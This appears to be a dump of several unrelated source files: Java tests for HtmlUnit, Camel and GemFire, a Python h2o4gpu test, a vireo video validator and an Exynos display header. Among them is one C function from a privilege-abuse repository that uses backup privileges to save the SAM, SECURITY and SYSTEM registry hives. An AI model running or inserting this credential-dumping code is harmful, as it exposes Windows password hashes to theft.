* @throws Exception if the test fails
*/
@Test
public void save_frames() throws Exception {
final String mainContent
= "<html><head><title>First</title></head>\n"
+ "<frameset cols='50%,*'>\n"
+ " <frame name='left' src='" + URL_SECOND + "' frameborder='1' />\n"
+ " <frame name='right' src='" + URL_THIRD + "' frameborder='1' />\n"
+ " <frame name='withoutsrc' />\n"
+ "</frameset>\n"
+ "</html>";
final String frameLeftContent = "<html><head><title>Second</title></head><body>\n"
+ "<iframe src='iframe.html'></iframe>\n"
+ "<img src='img.jpg'>\n"
+ "</body></html>";
final String frameRightContent = "<html><head><title>Third</title></head><body>frame right</body></html>";
final String iframeContent = "<html><head><title>Iframe</title></head><body>iframe</body></html>";
try (InputStream is = getClass().getClassLoader().getResourceAsStream("testfiles/tiny-jpg.img")) {
final byte[] directBytes = IOUtils.toByteArray(is);
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, mainContent);
webConnection.setResponse(URL_SECOND, frameLeftContent);
webConnection.setResponse(URL_THIRD, frameRightContent);
final URL urlIframe = new URL(URL_SECOND, "iframe.html");
webConnection.setResponse(urlIframe, iframeContent);
final List<NameValuePair> emptyList = Collections.emptyList();
final URL urlImage = new URL(URL_SECOND, "img.jpg");
webConnection.setResponse(urlImage, directBytes, 200, "ok", "image/jpg", emptyList);
}
final WebClient webClient = getWebClientWithMockWebConnection();
final HtmlPage page = webClient.getPage(URL_FIRST);
final HtmlFrame leftFrame = page.getElementByName("left");
assertEquals(URL_SECOND.toString(), leftFrame.getSrcAttribute());
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_saveFrame.html");
final File expectedLeftFrameFile = new File(tmpFolder, "hu_HtmlPageTest_saveFrame/second.html");
final File expectedRightFrameFile = new File(tmpFolder, "hu_HtmlPageTest_saveFrame/third.html");
final File expectedIFrameFile = new File(tmpFolder, "hu_HtmlPageTest_saveFrame/second/iframe.html");
final File expectedImgFile = new File(tmpFolder, "hu_HtmlPageTest_saveFrame/second/img.jpg");
final File[] allFiles = {file, expectedLeftFrameFile, expectedImgFile, expectedIFrameFile,
expectedRightFrameFile};
page.save(file);
for (final File f : allFiles) {
assertTrue(f.toString(), f.exists());
assertTrue(f.toString(), f.isFile());
}
final byte[] loadedBytes = FileUtils.readFileToByteArray(expectedImgFile);
assertTrue(loadedBytes.length > 0);
// ensure that saving the page hasn't changed the DOM
assertEquals(URL_SECOND.toString(), leftFrame.getSrcAttribute());
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_css() throws Exception {
final String html = "<html><head>\n"
+ "<link rel='stylesheet' type='text/css' href='" + URL_SECOND + "'/></head></html>";
final String css = "body {color: blue}";
final WebClient webClient = getWebClientWithMockWebConnection();
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, html);
webConnection.setResponse(URL_SECOND, css);
final HtmlPage page = webClient.getPage(URL_FIRST);
final HtmlLink cssLink = page.getFirstByXPath("//link");
assertEquals(URL_SECOND.toString(), cssLink.getHrefAttribute());
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save4.html");
final File cssFile = new File(tmpFolder, "hu_HtmlPageTest_save4/second.css");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
assertEquals(css, FileUtils.readFileToString(cssFile, ISO_8859_1));
assertEquals(URL_SECOND.toString(), cssLink.getHrefAttribute());
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_css_without_href() throws Exception {
final String html = "<html><head>\n"
+ "<link rel='stylesheet' type='text/css' /></head></html>";
final WebClient webClient = getWebClientWithMockWebConnection();
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, html);
final HtmlPage page = webClient.getPage(URL_FIRST);
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save5.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final HtmlLink cssLink = page.getFirstByXPath("//link");
assertEquals(DomElement.ATTRIBUTE_NOT_DEFINED, cssLink.getHrefAttribute());
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_css_empty_href() throws Exception {
final String html = "<html><head>\n"
+ "<link rel='stylesheet' type='text/css' href='' /></head></html>";
final WebClient webClient = getWebClientWithMockWebConnection();
final MockWebConnection webConnection = getMockWebConnection();
webConnection.setResponse(URL_FIRST, html);
final HtmlPage page = webClient.getPage(URL_FIRST);
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save5.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
final HtmlLink cssLink = page.getFirstByXPath("//link");
assertEquals(DomElement.ATTRIBUTE_NOT_DEFINED, cssLink.getHrefAttribute());
}
/**
* This was producing java.io.IOException: File name too long as of HtmlUnit-2.9.
* Many file systems have a limit 255 byte for file names.
* @throws Exception if the test fails
*/
@Test
public void saveShouldStripLongFileNames() throws Exception {
final RandomStringGenerator generator = new RandomStringGenerator.Builder().withinRange('a', 'z').build();
final String longName = generator.generate(500) + ".html";
final String html = "<html><body><iframe src='" + longName + "'></iframe></body></html>";
final WebClient webClient = getWebClient();
final MockWebConnection webConnection = new MockWebConnection();
webConnection.setDefaultResponse("<html/>");
webConnection.setResponse(URL_FIRST, html);
webClient.setWebConnection(webConnection);
final HtmlPage page = webClient.getPage(URL_FIRST);
final File tmpFolder = tmpFolderProvider_.newFolder("hu");
final File file = new File(tmpFolder, "hu_HtmlPageTest_save.html");
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
}
/**
* @throws Exception if the test fails
*/
@Test
public void serialization_attributeListenerLock() throws Exception {
final String html = "<html><head><script>\n"
+ "function foo() {\n"
+ " document.getElementById('aframe').src = '" + URL_FIRST + "';\n"
+ " return false;\n"
+ "}</script>\n"
+ "<body><iframe src='about:blank' id='aframe'></iframe>\n"
+ "<a href='#' onclick='foo()' id='link'>load iframe</a></body></html>";
final HtmlPage page = loadPageWithAlerts(html);
final WebClient copy = clone(page.getWebClient());
final HtmlPage copyPage = (HtmlPage) copy.getCurrentWindow().getTopWindow().getEnclosedPage();
copyPage.getHtmlElementById("link").click();
assertEquals(URL_FIRST.toExternalForm(), copyPage.getElementById("aframe").getAttribute("src"));
}
/**
* @throws Exception if the test fails
*/
@Test
public void save_emptyTextArea() throws Exception {
final String html = "<html>\n"
+ "<head/>\n"
+ "<body>\n"
+ "<textarea></textarea>\n"
+ "</body>\n"
+ "</html>";
final HtmlPage page = loadPage(html);
final File tmpFolder = new File(System.getProperty("java.io.tmpdir"));
final File file = new File(tmpFolder, "hu_HtmlPage2Test_save_emptyTextArea.html");
try {
page.save(file);
assertTrue(file.exists());
assertTrue(file.isFile());
assertTrue(page.asXml().contains("</textarea>"));
assertTrue(FileUtils.readFileToString(file, ISO_8859_1).contains("</textarea>"));
}
finally {
assertTrue(file.delete());
}
}
}
| 7,209 |
458 | <filename>tests/python/open_data/glm/test_logistic.py<gh_stars>100-1000
import h2o4gpu
import sklearn
from sklearn.datasets import load_breast_cancer
from sklearn.model_selection import train_test_split
from sklearn import linear_model
from sklearn.metrics import accuracy_score
import numpy as np
def test_not_labels():
data = load_breast_cancer()
X = data.data
y = data.target
# convert class values to [0,2]
# y = y * 2
# Splitting data into train and test
X_train, X_test, y_train, y_test = train_test_split(
X, y, test_size=0.25, random_state=42)
# sklearn
clf_sklearn = linear_model.LogisticRegression(solver='liblinear')
clf_sklearn.fit(X_train, y_train)
y_pred_sklearn = clf_sklearn.predict(X_test)
# h2o
clf_h2o = h2o4gpu.LogisticRegression()
clf_h2o.fit(X_train, y_train)
y_pred_h2o = clf_h2o.predict(X_test)
assert np.allclose(accuracy_score(y_test, y_pred_sklearn), accuracy_score(y_test, y_pred_h2o.squeeze()))
| 423 |
890 | <reponame>shahzadlone/vireo<gh_stars>100-1000
/*
* MIT License
*
* Copyright (c) 2017 Twitter
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <iomanip>
#include <fcntl.h>
#include <fstream>
#include <future>
#include "vireo/base_cpp.h"
#include "vireo/common/editbox.h"
#include "vireo/common/math.h"
#include "vireo/common/path.h"
#include "vireo/common/security.h"
#include "vireo/constants.h"
#include "vireo/decode/audio.h"
#include "vireo/decode/video.h"
#include "vireo/demux/movie.h"
#include "vireo/encode/types.h"
#include "vireo/error/error.h"
#include "vireo/version.h"
#include "version.h"
using namespace vireo;
using std::cin;
using std::ofstream;
using std::set;
using std::vector;
#define USE_STDIN 1
static const uint32_t kMaxSampleCount = 0x4000;
int main(int argc, const char* argv[]) {
int threads = 0;
int last_arg = 1;
const string name = common::Path::Filename(argv[0]);
for (int i = 1; i < argc; ++i) {
if (strcmp(argv[i], "-threads") == 0) {
int arg_threads = atoi(argv[++i]);
if (arg_threads < 0 || arg_threads > 64) {
cerr << "Invalid number of threads" << endl;
return 1;
}
threads = (uint16_t)arg_threads;
last_arg = i + 1;
} else if (strcmp(argv[i], "--version") == 0) {
cout << name << " version " << VALIDATE_VERSION << " (based on vireo " << VIREO_VERSION << ")" << endl;
return 0;
} else if (strcmp(argv[i], "--help") == 0) {
cout << "Usage: " << name << " [options] < infile" << endl;
cout << "\nOptions:" << endl;
cout << "-threads:\tnumber of threads (default: 0)" << endl;
cout << "--help:\t\tshow usage" << endl;
cout << "--version:\tshow version" << endl;
return 0;
} else {
#if (USE_STDIN)
cerr << "Invalid argument: " << argv[i] << " (--help for usage)" << endl;
return 1;
#endif
}
}
__try {
// Read stdin into buffer
static const size_t kSize_Default = 512 * 1024;
common::Data32 tmp_buffer(new uint8_t[65536], 65536, [](uint8_t* p) { delete[] p; });
unique_ptr<common::Data32> buffer;
#if (USE_STDIN)
int fd = fcntl(STDIN_FILENO, F_DUPFD, 0);
#else
int fd = open(argv[last_arg], O_RDONLY);
#endif
for (uint16_t i = 0, max_i = 10000; i < max_i; ++i) {
size_t read_size = read((int)fd, (void*)tmp_buffer.data(), (size_t)tmp_buffer.capacity());
if (!read_size) {
break;
}
tmp_buffer.set_bounds(0, (uint32_t)read_size);
if (!buffer.get()) {
buffer.reset(new common::Data32(new uint8_t[kSize_Default], kSize_Default, [](uint8_t* p) { delete[] p; }));
buffer->set_bounds(0, 0);
} else if (read_size + buffer->b() > buffer->capacity()) {
uint32_t new_capacity = buffer->capacity() + ((buffer->b() + (uint32_t)read_size + kSize_Default - 1) / kSize_Default) * kSize_Default;
auto new_buffer = new common::Data32(new uint8_t[new_capacity], new_capacity, [](uint8_t* p) { delete[] p; });
new_buffer->copy(*buffer);
buffer.reset(new_buffer);
}
CHECK(buffer->a() + tmp_buffer.count() <= buffer->capacity());
buffer->set_bounds(buffer->b(), buffer->b());
buffer->copy(tmp_buffer);
buffer->set_bounds(0, buffer->b());
};
close(fd);
THROW_IF(!buffer.get() || !buffer->count(), Invalid);
vireo::demux::Movie movie(move(*buffer));
THROW_IF(movie.file_type() != FileType::MP4 && movie.file_type() != FileType::MP2TS, Unsupported);
THROW_IF(movie.video_track.count() >= kMaxSampleCount, Unsafe);
THROW_IF(movie.audio_track.count() >= kMaxSampleCount, Unsafe);
const auto& video_settings = movie.video_track.settings();
const auto& audio_settings = movie.audio_track.settings();
THROW_IF(video_settings.codec == settings::Video::Codec::VP8, Unsupported);
THROW_IF(video_settings.codec == settings::Video::Codec::MPEG4, Unsupported);
THROW_IF(video_settings.codec == settings::Video::Codec::ProRes, Unsupported);
THROW_IF(video_settings.codec != settings::Video::Codec::H264, Unsupported);
if (movie.audio_track.count()) {
THROW_IF(audio_settings.codec == settings::Audio::Codec::AAC_Main, Unsupported);
THROW_IF(audio_settings.codec == settings::Audio::Codec::Vorbis, Unsupported);
THROW_IF(settings::Audio::IsPCM(audio_settings.codec), Unsupported);
THROW_IF(!settings::Audio::IsAAC(audio_settings.codec), Unsupported);
}
THROW_IF(!movie.video_track.count(), Invalid);
THROW_IF(!movie.video_track(0).keyframe, Invalid);
THROW_IF(!common::EditBox::Valid(movie.video_track.edit_boxes()), Unsupported);
THROW_IF(!common::EditBox::Valid(movie.audio_track.edit_boxes()), Unsupported);
tuple<settings::Video, settings::Audio> metadata = make_tuple(video_settings, audio_settings);
// Cache all nal units
vector<encode::Sample> video_samples;
vector<encode::Sample> audio_samples;
for (const auto& sample: movie.video_track) {
if (!video_samples.empty()) {
THROW_IF(sample.dts <= video_samples.back().dts, Invalid, "Non-increasing DTS values in video track (" << sample.dts << " >= " << video_samples.back().dts << ")");
}
video_samples.push_back((encode::Sample) {
sample.pts,
sample.dts,
sample.keyframe,
sample.type,
sample.nal()
});
}
for (const auto& sample: movie.audio_track) {
if (!audio_samples.empty()) {
THROW_IF(sample.dts <= audio_samples.back().dts, Invalid, "Non-increasing DTS values in audio track (" << sample.dts << " >= " << audio_samples.back().dts << ")");
THROW_IF(sample.pts <= audio_samples.back().pts, Invalid, "Non-increasing PTS values in audio track (" << sample.pts << " >= " << audio_samples.back().pts << ")");
}
audio_samples.push_back((encode::Sample) {
sample.pts,
sample.dts,
sample.keyframe,
sample.type,
sample.nal()
});
}
// Video decode setup
std::atomic<uint16_t> total_decoded_frames(0);
auto decode_frames = [&video_samples, &metadata, &total_decoded_frames](uint64_t start_dts, uint64_t end_dts){
vector<decode::Sample> samples_to_decode;
for (const auto& sample: video_samples) {
if (sample.dts < start_dts) {
continue;
}
if (sample.dts > end_dts) {
THROW_IF(!sample.keyframe, Invalid);
break;
}
samples_to_decode.push_back((decode::Sample){ sample.pts, sample.dts, sample.keyframe, sample.type, [&]() { return sample.nal; } });
}
// we need to decode every GOP individually to make sure we can decode after chunking
auto decode_gop = [&samples_to_decode, &metadata, &total_decoded_frames](uint32_t start_index, uint32_t end_index) {
const auto& video_settings = get<0>(metadata);
THROW_IF(start_index >= end_index, InvalidArguments);
THROW_IF(end_index > samples_to_decode.size(), InvalidArguments);
const uint32_t gop_size = end_index - start_index;
THROW_IF(gop_size > security::kMaxGOPSize, Unsafe,
"GOP is too large (frames [" << start_index << ", " << end_index << ") - max allowed = " << security::kMaxGOPSize << ")");
auto from = samples_to_decode.begin() + start_index;
auto until = samples_to_decode.begin() + end_index;
vector<decode::Sample> gop(from, until);
functional::Video<decode::Sample> video_track(gop, video_settings);
decode::Video video_decoder(video_track);
for (auto frame: video_decoder) {
frame.yuv();
total_decoded_frames.fetch_add(1);
}
};
uint32_t start_index = 0;
for (uint32_t index = 1; index <= samples_to_decode.size(); ++index) {
if (index == samples_to_decode.size() || samples_to_decode[index].keyframe) {
decode_gop(start_index, index);
start_index = index;
}
}
};
// Decode all audio samples
if (audio_samples.size()) {
vector<decode::Sample> samples_to_decode;
for (const auto& sample: audio_samples) {
samples_to_decode.push_back((decode::Sample){ sample.pts, sample.dts, sample.keyframe, sample.type, [&]() { return sample.nal; } });
}
const auto& audio_settings = get<1>(metadata);
functional::Audio<decode::Sample> audio_track(samples_to_decode, audio_settings);
decode::Audio audio_decoder(audio_track);
for (auto sound: audio_decoder) {
sound.pcm();
}
}
// Decode all video samples
if (video_samples.size()) {
const uint64_t final_dts = video_samples.back().dts;
if (threads == 0) {
decode_frames(0, final_dts);
} else {
vector<std::future<void>> futures;
const uint64_t thread_duration = common::round_divide(final_dts, (uint64_t)1, (uint64_t)threads);
uint64_t start_dts = 0;
uint64_t end_dts = thread_duration;
uint64_t prev_dts = 0;
for (const auto& sample: video_samples) {
if (sample.dts == final_dts) {
futures.push_back(std::async(std::launch::async, decode_frames, start_dts, final_dts));
} else if (sample.keyframe && sample.dts > end_dts) {
futures.push_back(std::async(std::launch::async, decode_frames, start_dts, prev_dts));
start_dts = sample.dts;
end_dts = start_dts + thread_duration;
}
prev_dts = sample.dts;
}
for (auto& running_future: futures) {
if (running_future.valid()) {
running_future.get();
}
}
}
CHECK(total_decoded_frames.load() == video_samples.size());
}
cout << "success" << endl;
} __catch (std::exception& e) {
string err = string(e.what());
cout << "fail: " << err << endl;
if (err.find("!intra_decode_refresh") != std::string::npos) { // TODO: remove once MEDIASERV-4386 is resolved
return 2; // return a special error code for !intra_decode_refresh to track occurrence of l-smash bug (MEDIASERV-4386)
}
return 1;
}
return 0;
}
| 4,625 |
1,144 | /* SPDX-License-Identifier: GPL-2.0+ */
/*
* Copyright (C) 2012 Samsung Electronics
*
* Author: <NAME> <<EMAIL>>
* Author: <NAME> <<EMAIL>>
*/
#ifndef __ASM_ARM_ARCH_DSIM_H_
#define __ASM_ARM_ARCH_DSIM_H_
#ifndef __ASSEMBLY__
struct exynos_mipi_dsim {
unsigned int status;
unsigned int swrst;
unsigned int clkctrl;
unsigned int timeout;
unsigned int config;
unsigned int escmode;
unsigned int mdresol;
unsigned int mvporch;
unsigned int mhporch;
unsigned int msync;
unsigned int sdresol;
unsigned int intsrc;
unsigned int intmsk;
unsigned int pkthdr;
unsigned int payload;
unsigned int rxfifo;
unsigned int fifothld;
unsigned int fifoctrl;
unsigned int memacchr;
unsigned int pllctrl;
unsigned int plltmr;
unsigned int phyacchr;
unsigned int phyacchr1;
};
#endif /* __ASSEMBLY__ */
/*
* Bit Definitions
*/
/* DSIM_STATUS */
#define DSIM_STOP_STATE_DAT(x) (((x) & 0xf) << 0)
#define DSIM_STOP_STATE_CLK (1 << 8)
#define DSIM_TX_READY_HS_CLK (1 << 10)
#define DSIM_PLL_STABLE (1 << 31)
/* DSIM_SWRST */
#define DSIM_FUNCRST (1 << 16)
#define DSIM_SWRST (1 << 0)
/* EXYNOS_DSIM_TIMEOUT */
#define DSIM_LPDR_TOUT_SHIFT (0)
#define DSIM_BTA_TOUT_SHIFT (16)
/* EXYNOS_DSIM_CLKCTRL */
#define DSIM_LANE_ESC_CLKEN_SHIFT (19)
#define DSIM_BYTE_CLKEN_SHIFT (24)
#define DSIM_BYTE_CLK_SRC_SHIFT (25)
#define DSIM_PLL_BYPASS_SHIFT (27)
#define DSIM_ESC_CLKEN_SHIFT (28)
#define DSIM_TX_REQUEST_HSCLK_SHIFT (31)
#define DSIM_LANE_ESC_CLKEN(x) (((x) & 0x1f) << \
DSIM_LANE_ESC_CLKEN_SHIFT)
#define DSIM_BYTE_CLK_ENABLE (1 << DSIM_BYTE_CLKEN_SHIFT)
#define DSIM_BYTE_CLK_DISABLE (0 << DSIM_BYTE_CLKEN_SHIFT)
#define DSIM_PLL_BYPASS_EXTERNAL (1 << DSIM_PLL_BYPASS_SHIFT)
#define DSIM_ESC_CLKEN_ENABLE (1 << DSIM_ESC_CLKEN_SHIFT)
#define DSIM_ESC_CLKEN_DISABLE (0 << DSIM_ESC_CLKEN_SHIFT)
/* EXYNOS_DSIM_CONFIG */
#define DSIM_NUM_OF_DATALANE_SHIFT (5)
#define DSIM_SUBPIX_SHIFT (8)
#define DSIM_MAINPIX_SHIFT (12)
#define DSIM_SUBVC_SHIFT (16)
#define DSIM_MAINVC_SHIFT (18)
#define DSIM_HSA_MODE_SHIFT (20)
#define DSIM_HBP_MODE_SHIFT (21)
#define DSIM_HFP_MODE_SHIFT (22)
#define DSIM_HSE_MODE_SHIFT (23)
#define DSIM_AUTO_MODE_SHIFT (24)
#define DSIM_VIDEO_MODE_SHIFT (25)
#define DSIM_BURST_MODE_SHIFT (26)
#define DSIM_EOT_PACKET_SHIFT (28)
#define DSIM_AUTO_FLUSH_SHIFT (29)
#define DSIM_LANE_ENx(x) (((x) & 0x1f) << 0)
#define DSIM_NUM_OF_DATA_LANE(x) ((x) << DSIM_NUM_OF_DATALANE_SHIFT)
/* EXYNOS_DSIM_ESCMODE */
#define DSIM_TX_LPDT_SHIFT (6)
#define DSIM_CMD_LPDT_SHIFT (7)
#define DSIM_TX_LPDT_LP (1 << DSIM_TX_LPDT_SHIFT)
#define DSIM_CMD_LPDT_LP (1 << DSIM_CMD_LPDT_SHIFT)
#define DSIM_STOP_STATE_CNT_SHIFT (21)
#define DSIM_FORCE_STOP_STATE_SHIFT (20)
/* EXYNOS_DSIM_MDRESOL */
#define DSIM_MAIN_STAND_BY (1 << 31)
#define DSIM_MAIN_VRESOL(x) (((x) & 0x7ff) << 16)
#define DSIM_MAIN_HRESOL(x) (((x) & 0X7ff) << 0)
/* EXYNOS_DSIM_MVPORCH */
#define DSIM_CMD_ALLOW_SHIFT (28)
#define DSIM_STABLE_VFP_SHIFT (16)
#define DSIM_MAIN_VBP_SHIFT (0)
#define DSIM_CMD_ALLOW_MASK (0xf << DSIM_CMD_ALLOW_SHIFT)
#define DSIM_STABLE_VFP_MASK (0x7ff << DSIM_STABLE_VFP_SHIFT)
#define DSIM_MAIN_VBP_MASK (0x7ff << DSIM_MAIN_VBP_SHIFT)
/* EXYNOS_DSIM_MHPORCH */
#define DSIM_MAIN_HFP_SHIFT (16)
#define DSIM_MAIN_HBP_SHIFT (0)
#define DSIM_MAIN_HFP_MASK ((0xffff) << DSIM_MAIN_HFP_SHIFT)
#define DSIM_MAIN_HBP_MASK ((0xffff) << DSIM_MAIN_HBP_SHIFT)
/* EXYNOS_DSIM_MSYNC */
#define DSIM_MAIN_VSA_SHIFT (22)
#define DSIM_MAIN_HSA_SHIFT (0)
#define DSIM_MAIN_VSA_MASK ((0x3ff) << DSIM_MAIN_VSA_SHIFT)
#define DSIM_MAIN_HSA_MASK ((0xffff) << DSIM_MAIN_HSA_SHIFT)
/* EXYNOS_DSIM_SDRESOL */
#define DSIM_SUB_STANDY_SHIFT (31)
#define DSIM_SUB_VRESOL_SHIFT (16)
#define DSIM_SUB_HRESOL_SHIFT (0)
#define DSIM_SUB_STANDY_MASK ((0x1) << DSIM_SUB_STANDY_SHIFT)
#define DSIM_SUB_VRESOL_MASK ((0x7ff) << DSIM_SUB_VRESOL_SHIFT)
#define DSIM_SUB_HRESOL_MASK ((0x7ff) << DSIM_SUB_HRESOL_SHIFT)
/* EXYNOS_DSIM_INTSRC */
#define INTSRC_FRAME_DONE (1 << 24)
#define INTSRC_PLL_STABLE (1 << 31)
#define INTSRC_SWRST_RELEASE (1 << 30)
/* EXYNOS_DSIM_INTMSK */
#define INTMSK_FRAME_DONE (1 << 24)
/* EXYNOS_DSIM_FIFOCTRL */
#define SFR_HEADER_EMPTY (1 << 22)
/* EXYNOS_DSIM_PKTHDR */
#define DSIM_PKTHDR_DI(x) (((x) & 0x3f) << 0)
#define DSIM_PKTHDR_DAT0(x) ((x) << 8)
#define DSIM_PKTHDR_DAT1(x) ((x) << 16)
/* EXYNOS_DSIM_PHYACCHR */
#define DSIM_AFC_CTL(x) (((x) & 0x7) << 5)
#define DSIM_AFC_CTL_SHIFT (5)
#define DSIM_AFC_EN (1 << 14)
/* EXYNOS_DSIM_PHYACCHR1 */
#define DSIM_DPDN_SWAP_DATA_SHIFT (0)
/* EXYNOS_DSIM_PLLCTRL */
#define DSIM_SCALER_SHIFT (1)
#define DSIM_MAIN_SHIFT (4)
#define DSIM_PREDIV_SHIFT (13)
#define DSIM_PRECTRL_SHIFT (20)
#define DSIM_PLL_EN_SHIFT (23)
#define DSIM_FREQ_BAND_SHIFT (24)
#define DSIM_ZEROCTRL_SHIFT (28)
#endif
| 2,551 |
671 | <reponame>mantvydasb/token-priv
#include "poptoke.h"
void
se_backup_priv_reg()
{
HKEY handle;
if (!RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SAM",
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&handle,
NULL) == ERROR_SUCCESS)
{
printf("[-] Failed to open reg; %d\n", GetLastError());
return;
}
if (!RegSaveKey(handle, L"C:\\Users\\USERNAME\\Desktop\\SAM", NULL) == ERROR_SUCCESS){
printf("[-] Failed to save key: %d\n", GetLastError());
return;
}
RegCloseKey(handle);
if (!RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SECURITY",
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&handle,
NULL) == ERROR_SUCCESS)
{
printf("Failed to open reg; %d\n", GetLastError());
return;
}
if (!RegSaveKey(handle, L"C:\\Users\\USERNAME\\Desktop\\SECURITY", NULL) == ERROR_SUCCESS){
printf("[-] Failed to save key: %d\n", GetLastError());
return;
}
RegCloseKey(handle);
if (!RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM",
0,
NULL,
REG_OPTION_BACKUP_RESTORE,
KEY_SET_VALUE,
NULL,
&handle,
NULL) == ERROR_SUCCESS)
{
printf("[-] Failed to open reg; %d\n", GetLastError());
return;
}
if (!RegSaveKey(handle, L"C:\\Users\\USERNAME\\Desktop\\SYSTEM", NULL) == ERROR_SUCCESS){
printf("[-] Failed to save key: %d\n", GetLastError());
return;
}
RegCloseKey(handle);
} | 613 |
4,262 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.camel.main;
import java.util.ArrayList;
import java.util.List;
import org.apache.camel.CamelContext;
import org.apache.camel.builder.RouteBuilder;
import org.apache.camel.component.mock.MockEndpoint;
import org.apache.camel.impl.DefaultCamelContext;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertSame;
import static org.junit.jupiter.api.Assertions.assertTrue;
public class SimpleMainTest {
@Test
public void testSimpleMain() throws Exception {
List<String> events = new ArrayList<>();
CamelContext context = new DefaultCamelContext();
SimpleMain main = new SimpleMain(context);
main.configure().addRoutesBuilder(new MyRouteBuilder());
main.addMainListener(new MainListenerSupport() {
@Override
public void beforeInitialize(BaseMainSupport main) {
events.add("beforeInitialize");
}
@Override
public void beforeConfigure(BaseMainSupport main) {
events.add("beforeConfigure");
}
@Override
public void afterConfigure(BaseMainSupport main) {
events.add("afterConfigure");
}
@Override
public void beforeStart(BaseMainSupport main) {
events.add("beforeStart");
}
@Override
public void afterStart(BaseMainSupport main) {
events.add("afterStart");
}
@Override
public void beforeStop(BaseMainSupport main) {
events.add("beforeStop");
}
@Override
public void afterStop(BaseMainSupport main) {
events.add("afterStop");
}
});
main.start();
try {
assertSame(context, main.getCamelContext());
MockEndpoint endpoint = context.getEndpoint("mock:results", MockEndpoint.class);
endpoint.expectedMinimumMessageCount(1);
context.createProducerTemplate().sendBody("direct:start", "<message>1</message>");
endpoint.assertIsSatisfied();
} finally {
main.stop();
}
assertTrue(events.contains("beforeInitialize"));
assertTrue(events.contains("beforeConfigure"));
assertTrue(events.contains("afterConfigure"));
assertTrue(events.contains("beforeStart"));
assertTrue(events.contains("afterStart"));
assertTrue(events.contains("beforeStop"));
assertTrue(events.contains("afterStop"));
}
public static class MyRouteBuilder extends RouteBuilder {
@Override
public void configure() throws Exception {
from("direct:start").to("mock:results");
}
}
}
| 1,412 |
1,093 | /*
* Copyright 2017-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.integration.gemfire.metadata;
import static org.assertj.core.api.Assertions.assertThat;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
import org.apache.geode.cache.Cache;
import org.apache.geode.cache.CacheFactory;
import org.apache.geode.cache.Region;
import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import org.springframework.integration.metadata.MetadataStoreListenerAdapter;
import org.springframework.util.Assert;
/**
* @author <NAME>
*
* @since 5.0
*
*/
public class GemfireMetadataStoreCacheListenerTests {
private static Cache cache;
private static GemfireMetadataStore metadataStore;
private static Region<Object, Object> region;
@BeforeClass
public static void startUp() throws Exception {
cache = new CacheFactory().create();
metadataStore = new GemfireMetadataStore(cache);
region = cache.getRegion(GemfireMetadataStore.KEY);
}
@AfterClass
public static void cleanUp() {
if (region != null) {
region.close();
}
if (cache != null) {
cache.close();
Assert.isTrue(cache.isClosed(), "Cache did not close after close() call");
}
}
@Before
@After
public void setup() {
if (region != null) {
region.clear();
}
}
@Test
public void testAdd() throws InterruptedException {
String testKey = "key";
String testValue = "value";
CountDownLatch latch = new CountDownLatch(1);
